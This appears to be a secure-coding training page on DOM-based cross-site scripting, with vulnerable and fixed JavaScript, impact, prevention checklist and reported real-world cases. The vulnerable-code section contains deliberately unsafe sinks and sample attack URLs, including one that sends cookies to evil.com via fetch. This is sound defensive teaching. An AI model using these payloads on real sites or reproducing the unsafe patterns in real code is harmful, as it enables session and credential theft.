OWASP Web Top 10 — A03

DOM-Based XSS

DOM-Based Cross-Site Scripting is a client-side vulnerability that allows attackers to manipulate the Document Object Model to execute malicious scripts without server involvement. Unlike traditional XSS, the payload never reaches the server, making it harder to detect with conventional security measures.

What Is DOM-Based XSS?

DOM-Based XSS is a type of Cross-Site Scripting vulnerability where the attack payload is executed as a result of modifying the DOM environment in the victim's browser. The vulnerability exists entirely in the client-side code, where JavaScript reads data from an attacker-controllable source (such as the URL, document.referrer, or window.name) and passes it to a dangerous sink that supports dynamic code execution.

What distinguishes DOM-Based XSS from other forms of XSS is that the malicious payload never reaches the server. Traditional reflected or stored XSS attacks involve the server processing and returning the payload in the HTTP response. In contrast, DOM-Based XSS occurs when client-side JavaScript processes user input directly in the browser. This means server-side security filters, Web Application Firewalls (WAFs), and Content Security Policy (CSP) may fail to detect or prevent these attacks if they only inspect server responses.

The vulnerability arises from unsafe JavaScript coding practices where developers trust user-controllable data sources and use them with dangerous DOM manipulation methods. Common sources include location.hash, location.search, document.URL, document.referrer, and window.name. Dangerous sinks include innerHTML, document.write, eval, setTimeout, and setInterval when used with string arguments. When untrusted data flows from a source to a sink without proper sanitization, attackers can inject and execute arbitrary JavaScript code.

How It Works

1
Attacker crafts a malicious URL

The attacker creates a URL containing a malicious JavaScript payload in a parameter, hash fragment, or other part of the URL that can be controlled. For example: https://example.com/#<script>alert(document.cookie)</script>. The victim is tricked into clicking this link through phishing, social engineering, or a malicious website.

2
Victim's browser loads the page

When the victim clicks the link, their browser navigates to the URL. Critically, the hash fragment (everything after the #) is never sent to the server—it remains purely client-side. The server returns the legitimate HTML and JavaScript for the page, unaware of the malicious payload.

3
JavaScript reads from a controllable source

The page's JavaScript code reads data from a source the attacker can control, such as location.hash, location.search, or document.URL. For example, the code might extract the hash value to display a welcome message or populate a form field based on URL parameters.

4
Data flows into a dangerous sink

The application takes the attacker-controlled data and passes it to a dangerous sink without proper sanitization. This could be innerHTML, document.write(), eval(), or other methods that interpret strings as HTML or JavaScript. For instance: element.innerHTML = location.hash.substring(1).

5
Malicious script executes in the victim's browser

The browser interprets the attacker's payload as code and executes it in the context of the vulnerable page. The attacker can now steal cookies, session tokens, capture keystrokes, modify the page content, redirect the user, or perform actions on behalf of the victim—all without the server ever seeing the attack.

Vulnerable Code Example

Vulnerable — JavaScript
// VULNERABLE: Reading from location.hash and inserting into innerHTML
function displayWelcomeMessage() {
  const urlHash = location.hash.substring(1);

  if (urlHash) {
    // Directly inserting user-controllable data into the DOM
    document.getElementById('welcome').innerHTML =
      'Welcome, ' + urlHash + '!';
  }
}

// Another vulnerable pattern: document.write
function showSearchTerm() {
  const params = new URLSearchParams(location.search);
  const query = params.get('q');

  if (query) {
    // document.write interprets HTML, enabling XSS
    document.write('<h2>Search results for: ' + query + '</h2>');
  }
}

// Yet another vulnerable pattern: eval
function executeUserAction() {
  const action = new URLSearchParams(location.search).get('action');

  if (action) {
    // eval executes any JavaScript code passed to it
    eval(action);
  }
}

// An attacker can exploit these functions with URLs like:
// https://example.com/#<img src=x onerror=alert(document.cookie)>
// https://example.com/?q=<script>fetch('//evil.com?c='+document.cookie)</script>
// https://example.com/?action=alert(document.cookie)

Secure Code Example

Secure — JavaScript
// SECURE: Using textContent instead of innerHTML
function displayWelcomeMessage() {
  const urlHash = location.hash.substring(1);

  if (urlHash) {
    // textContent treats input as plain text, not HTML
    document.getElementById('welcome').textContent =
      'Welcome, ' + urlHash + '!';
  }
}

// SECURE: Using DOMPurify to sanitize HTML input
function showSearchTerm() {
  const params = new URLSearchParams(location.search);
  const query = params.get('q');

  if (query) {
    // DOMPurify removes all dangerous elements and attributes
    const sanitized = DOMPurify.sanitize(query);
    document.getElementById('results').innerHTML =
      '<h2>Search results for: ' + sanitized + '</h2>';
  }
}

// SECURE: Using a whitelist for allowed actions
function executeUserAction() {
  const action = new URLSearchParams(location.search).get('action');

  const allowedActions = {
    'showProfile': () => showProfile(),
    'showSettings': () => showSettings(),
    'logout': () => logout()
  };

  // Only execute if action is in the whitelist
  if (action && allowedActions[action]) {
    allowedActions[action]();
  }
}

// Additional best practice: Input validation
function validateAndSanitize(input) {
  // Allow only alphanumeric characters and spaces
  const alphanumeric = /^[a-zA-Z0-9 ]+$/;

  if (!alphanumeric.test(input)) {
    return ''; // Return empty string if validation fails
  }

  return input;
}

// The secure functions prevent script execution even if an
// attacker tries to inject malicious payloads.

Types of DOM-Based XSS

Source-Based DOM XSS

This variant focuses on the various sources from which attacker-controlled data can originate. Common sources include location.hash (URL fragment after #), location.search (query parameters), document.URL (complete URL), document.referrer (referring page URL), and window.name (window name property). Attackers can control these sources through crafted URLs, cross-domain interactions, or by setting values in previously visited pages that persist across navigation.

Sink-Based DOM XSS

This classification focuses on the dangerous sinks where untrusted data can cause code execution. High-risk sinks include innerHTML and outerHTML (parse HTML, execute scripts in some contexts), document.write() and document.writeln() (can inject scripts), eval(), setTimeout(), and setInterval() with string arguments (execute arbitrary JavaScript), and properties like location, location.href, and location.assign() that can trigger javascript: protocol execution.

DOM Clobbering

A specialized technique where attackers exploit the way browsers automatically create global JavaScript variables for HTML elements with id or name attributes. By injecting HTML elements with carefully chosen names, attackers can override expected DOM properties and bypass sanitization filters. For example, creating <form id="userConfig"> clobbers window.userConfig, potentially allowing attackers to manipulate application logic that expects userConfig to be a JavaScript object. This technique can bypass certain XSS filters that only check for script tags.

Impact

A successful DOM-Based XSS attack can have severe consequences, often equivalent to or exceeding traditional XSS attacks. The client-side nature of the vulnerability makes it particularly dangerous because it can bypass server-side protections.

Session hijacking and credential theft

Attackers can steal session cookies, authentication tokens, and other sensitive credentials stored in the browser. Since the malicious script executes in the context of the legitimate domain, it has full access to cookies (unless httpOnly flag is set), localStorage, sessionStorage, and IndexedDB. This allows attackers to impersonate the victim and gain unauthorized access to their account.

Keylogging and form data capture

Malicious scripts can monitor all user interactions with the page, including keystrokes, mouse movements, and form submissions. Attackers can capture sensitive information such as passwords, credit card numbers, social security numbers, and private messages as users type them, sending this data to attacker-controlled servers in real-time.

Phishing and content manipulation

Attackers can modify the DOM to display fake login forms, security warnings, or other deceptive content that appears to be part of the legitimate website. Since the attack occurs within the trusted domain, browser security indicators (such as the padlock icon) remain valid, making the phishing attempt highly convincing. Users are more likely to enter credentials into what appears to be a legitimate page.

Malware distribution and browser exploitation

DOM-Based XSS can be leveraged to deliver browser exploits, redirect users to malicious websites, or trigger drive-by downloads. Attackers can use the compromised page as a launching point for more sophisticated attacks, including exploiting browser vulnerabilities, installing cryptominers, or enrolling the victim's browser in a botnet. The attack is particularly dangerous in combination with zero-day browser vulnerabilities.

Prevention Checklist

Use safe DOM APIs (textContent, setAttribute, etc.)

Prefer DOM manipulation methods that treat input as data rather than code. Use textContent instead of innerHTML, setAttribute() instead of direct property assignment, and createElement() with appendChild() instead of string concatenation. These methods automatically escape HTML and prevent script execution, eliminating the most common DOM XSS attack vectors.

Sanitize with DOMPurify before using innerHTML

When you must use innerHTML or other HTML-parsing methods, always sanitize the input first using a trusted library like DOMPurify. DOMPurify removes malicious elements and attributes while preserving safe HTML. It's actively maintained, regularly updated to handle new bypass techniques, and designed specifically for preventing XSS in the DOM. Never attempt to write your own HTML sanitizer—it's extremely difficult to cover all edge cases.

Avoid dangerous sinks (eval, setTimeout with strings, etc.)

Never use eval(), Function(), setTimeout(), or setInterval() with string arguments that come from user input. These functions execute arbitrary JavaScript code and cannot be safely used with untrusted data. If you need dynamic behavior, use function references or implement a whitelist of allowed actions. Replace eval() with JSON.parse() for JSON data or use a proper expression evaluator library.

Implement strict Content Security Policy (CSP)

Deploy a restrictive CSP header that disables inline JavaScript and only allows scripts from trusted sources. Use script-src 'self' and avoid 'unsafe-inline' and 'unsafe-eval'. A strong CSP provides defense-in-depth by preventing injected scripts from executing, even if an XSS vulnerability exists. Combine CSP with nonces or hashes for inline scripts when absolutely necessary, and regularly audit your CSP configuration.

Validate and whitelist input from URL parameters

Treat all data from location.hash, location.search, document.URL, and similar sources as untrusted. Implement strict input validation using allowlists that define acceptable patterns (e.g., alphanumeric only, specific enum values). Reject or sanitize any input that doesn't match expected formats. Consider encoding output even after validation as a defense-in-depth measure.

Use automated DOM XSS detection tools

Integrate static analysis tools like ESLint with security plugins (eslint-plugin-security, eslint-plugin-no-unsanitized) into your development workflow. Use browser-based testing tools like DOM Invader, or dedicated security scanners that understand client-side code flows. Perform regular penetration testing focused on DOM-based vulnerabilities. Modern frameworks like React and Vue provide some built-in protections, but you must still avoid using dangerous methods like dangerouslySetInnerHTML or v-html with untrusted data.

Real-World Examples

2012

Google Desktop Search

Security researcher Stefano Di Paola discovered a DOM-Based XSS vulnerability in Google Desktop Search. The vulnerability existed in client-side JavaScript that processed URL parameters and inserted them into the page using document.write() without proper sanitization. An attacker could craft a malicious URL that, when clicked, would execute arbitrary JavaScript in the context of the local Google Desktop interface, potentially accessing indexed files and sensitive data.

2015

Yahoo Mail

A critical DOM-Based XSS vulnerability was discovered in Yahoo Mail's web interface. The flaw allowed attackers to inject malicious JavaScript through specially crafted email links. When victims clicked these links while logged into Yahoo Mail, the attacker's code would execute with full access to the user's mailbox, contacts, and account settings. The vulnerability was particularly dangerous because it could be exploited through email, a common attack vector for targeted phishing campaigns.

2017

Uber

Security researcher Arne Swinnen discovered multiple DOM-Based XSS vulnerabilities in Uber's web applications. The vulnerabilities stemmed from unsafe handling of URL parameters and improper use of innerHTML in client-side routing logic. Successful exploitation could allow attackers to steal user credentials, hijack ride sessions, access trip history, and potentially view payment information. Uber's bug bounty program awarded a significant payout for the responsible disclosure.

2019

Twitter Web Client

Researcher Nathaniel Lattimer discovered a DOM-Based XSS vulnerability in Twitter's web client related to how the application processed URL fragments. The vulnerability could be exploited through malicious tweets containing specially crafted links. When users clicked these links, attackers could execute JavaScript in the Twitter.com domain, allowing them to post tweets on behalf of the victim, access direct messages, or modify account settings. Twitter quickly patched the vulnerability upon disclosure.

Ready to Test Your Knowledge?

Put what you have learned into practice. Try identifying and fixing DOM-Based XSS vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.